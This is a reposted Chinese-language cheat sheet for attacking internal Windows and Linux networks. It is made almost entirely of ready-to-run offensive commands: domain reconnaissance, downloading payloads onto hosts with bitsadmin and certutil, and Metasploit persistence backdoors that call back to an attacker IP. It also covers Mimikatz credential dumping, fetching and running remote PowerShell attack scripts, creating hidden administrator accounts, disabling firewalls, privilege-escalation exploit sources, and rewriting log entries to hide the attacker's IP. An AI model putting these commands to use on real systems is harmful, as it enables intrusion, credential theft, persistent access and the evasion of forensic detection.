[總結]內網攻防技術備忘錄


轉載自:烏雲安全
原文鏈接:內網攻防經典技術備忘錄

0x01 信息搜集

#nmap掃描實時存活的ip
nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips

1.1 常用命令

arp -a 
route print 獲取arp表
curl vps:8080  http連通性
nslookup www.baidu.com vps-ip
dig @vps-ip www.baidu.com     測試dns連通性
nslookup hacked.com 判斷域控與DNS是否為同一主機
tracert  路由跟蹤實用程序,用於確定IP數據包訪問目標所采取的路徑

bitsadmin /transfer n http://192.168.3.1/test.exe C:\windows\temp\test.exe
certutil.exe -urlcache -split -f http://192.168.3.1/test.exe file.exe

fuser -nv tcp 80 查看端口進程的pid
netstat -p TCP -ano  DNS服務器可能開放了53端口(域控) 更新服務器可能開放了8530端口

set  查看系統的環境變量
query user || qwinsta 查看當前在線用戶
rdesktop -u username ip  linux連接win遠程桌面

where file win查找文件是否存在
Linux下使用命令 find -name *.jsp 來查找文件位置
Windows下使用 for /r c:\windows\temp\ %i in (file lsss.dmp) do @echo %i
dir /s *.exe 查找指定目錄下及子目錄下沒隱藏文件

ipconfig /all 查看當前是否存在域
net user  查看本機用戶
net user /domain 查看域用戶
net user xxxx /domain  查詢域用戶的權限組
net view & net group "domain computers" /domain 查看當前域計算機列表 第二個查的更多

net view /domain 查看有幾個域
net view \\dc   查看dc域內共享文件
net group /domain 查看域里面的組
net group "domain admins" /domain 查看域管
net localgroup administrators /domain   /這個也是查域管,是升級為域控時,本地賬戶也成為域管
net group "domain controllers" /domain 域控

net time /domain   域服務器通常會作為時間服務器
(1)找不到xxx域控制器:處於工作組,不存在域
(2)發生錯誤,拒絕訪問:存在域,不是域用戶
(3)查詢成功:存在域,是域用戶

net config workstation   當前登錄域 - 計算機名 - 用戶名

systeminfo 查看系統信息
wmic process list brief 查詢進程信息
tasklist /svc 顯示每個進程中的服務信息
tasklist /S ip /U domain\username /P /V 查看遠程計算機tasklist
net localgroup administrators && whoami 查看當前是不是屬於管理組

nltest /dclist:xx  查看域控
whoami /all 查看Mandatory Label uac級別和sid號

net share     
wmic share get name,path,status 查看當前共享

cmdkey /l   查看保存登陸憑證
echo %logonserver%  查看登陸域
spn –l administrator spn記錄

#列出或者斷開本地計算機與之連接的客戶端的會話(需要管理權限)
net session[//computername][/delete]
例子:net session //momaek /delete

#查看計划任務
schtasks /query /fo LIST /v

#查看主機開機時間
net statistics workstation

dsquery server - 查找目錄中的 AD DC/LDS 實例
dsquery user - 查找目錄中的用戶
dsquery computer 查詢所有計算機名稱windows 2003
#腳本收集域信息,使用ntdsxtract提取域信息
git clone https://github.com/csababarta/ntdsxtract.git  python setup.py build && python setup.py install
#使用被攻擊主機CMD掃描存活ip
for /L %P in (1,1,254) DO @ping ‐w 1 ‐n 1 192.168.1.%P | findstr "TTL ="
#Msf持續后門

run persistence -U -i 10 -p 10390 -r 192.168.0.108
#persistence啟動項后門:反彈時間間隔是10s  端口是10390 Metasploit服務器ip是192.168.0.108

run metsvc –A
#metsvc服務后門:在C:\Users***\AppData\Local\Temp\上傳三個文件:metsrv.x86.dll、metsvc-server.exe、metsvc.exe,通過服務啟動,服務名為meterpreter

1.2 密碼憑證獲取

Mimikatz使用大全

hashdump
導出目標主機中的口令哈希值

load mimikatz
加載mimikatz模塊

msv
ssp
tspkg
wdigest
獲取登錄密碼的hash值

kerberos
獲取明文密碼

mimikatz_command -f samdump::hashes
另一種方式獲取哈希值

mimikatz_command -f sekurlsa::searchPasswords
另一種方式獲取明文密碼
#Msf啟用powershell
meterpreter > load powershell
meterpreter > powershell_shell
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Ps > Invoke-Mimikatz -DumpCreds

發現遠程登錄密碼等密碼 netpass.exe

下載見:https://www.nirsoft.net/utils/network_password_recovery.html

0x02 用戶操作

#添加user
net user admin1 admin1 /add & net localgroup administrators admin1 /add
#如果不允許遠程連接,修改注冊表

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
#放行/開啟3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

#關閉防火牆
netsh firewall set opmode mode=disable
netsh advfirewall set allprofiles state off
#自動收集信息
1.VMIC
vmic是Windows管理工具命令行,默認情況下,win xp不允許低權限用戶使用wmic,win7以上方才可以
[http://www.fuzzysecurity.com/scripts/files/wmic_info.rar](http://www.fuzzysecurity.com/scripts/files/wmic_info.rar)

2.Empire
#可查詢本機用戶、域組成員、密碼設置時間
usemodule situational_awareness/host/winenum
#添加隱藏賬戶 開啟sys權限cmd
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'

#添加用戶並隱藏
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')

0x03 提權小結

#MSF提權模塊
$use post/multi/recon/local_exploit_suggester

常用exp:

https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
#linux提權輔助腳本
https://github.com/jondonas/linux-exploit-suggester-2

#windows提權輔助腳本
https://github.com/Ethancck/Windows-Exploit-Suggester

0x04 痕跡擦除

Apache日志:主要的日志就是access.log,error_log,前者記錄了HTTTP的訪問記錄,后者記錄了服務器的錯誤日志。這些都可以在httpd.conf中找到。

明文的Apache文件,通過正則表達式就可以搞定:

sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.logsed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log

其中192.168.1.3是我們的IP,192.168.1.4使我們偽造的IP。在正則表達式中有特殊的含義,所以需要用“”來進行轉義。

MySQL日志文件:

log-error=/var/log/mysql/mysql_error.log        #錯誤日志
log=/var/log/mysql/mysql.log                    #最好注釋掉,會產生大量的日志,包括每一個執行的sql及環境變量的改變等等
log-bin=/var/log/mysql/mysql_bin.log            #用於備份恢復,或主從復制
log-slow-queries=/var/log/mysql/mysql_slow.log  #慢查詢日志
log-error=/var/log/mysql/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid
#按條件刪除部分日志內容
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/mysql/mysql_slow.log
#php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'/var/log/apache/php_error.log

Linux日志清除

這個比較多,記錄的也比較復雜,測試環境是 CentOS 6.3 。只把和滲透有關的文件列出來,主要在 /etc/logrotate.d/syslog 中

/var/log/maillog    
#該日志文件記錄了每一個發送到系統或從系統發出的電子郵件的活動,它可以用來查看用戶使用哪個系統發送工具或把數據發送到哪個系統

var/log/messages    
#該文件的格式是每一行包含日期、主機名、程序名,后面是包含PID或內核標識的方括號,一個冒號和一個空格

/var/log/wtmp       
#該日志文件永久記錄每個用戶登錄、注銷及系統的啟動,停機的事件。該日志文件可以用來查看用戶的登錄記錄,last命令就通過訪問這個文件獲得這些信息,並以反序從后向前顯示用戶的登錄記錄,last也能根據用戶,終端tty或時間顯示相應的記錄

/var/run/utmp       
#該日志文件記錄有關當前登錄的每個用戶的信息,因此這個文件會隨着用戶登錄和注銷系統而不斷變化,它只保留當時聯機的用戶記錄,不會為用戶保留永久的記錄。系統中需要查詢當前用戶狀態的程序,如who、w、users、finger等就需要訪問這個文件

/var/log/xferlog    
#該日志文件記錄FTP會話,可以顯示出用戶向FTP服務器或從服務器拷貝了什么文件。該文件會顯示用戶拷貝到服務器上的用來入侵服務器的惡意程序,以及該用戶拷貝了哪些文件供他使用。

bash_history        
#這是bash終端的命令記錄,能夠記錄1000條最近執行過的命令(具體多少條可以配置),通過這個文件可以分析此前執行的命令來知道知否有入侵者,每一個用戶的home目錄里都有這么一個文件

一款LINUX系統攻防工具箱:https://github.com/JonGates/jon

注:部分內容相對原文有所刪減


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM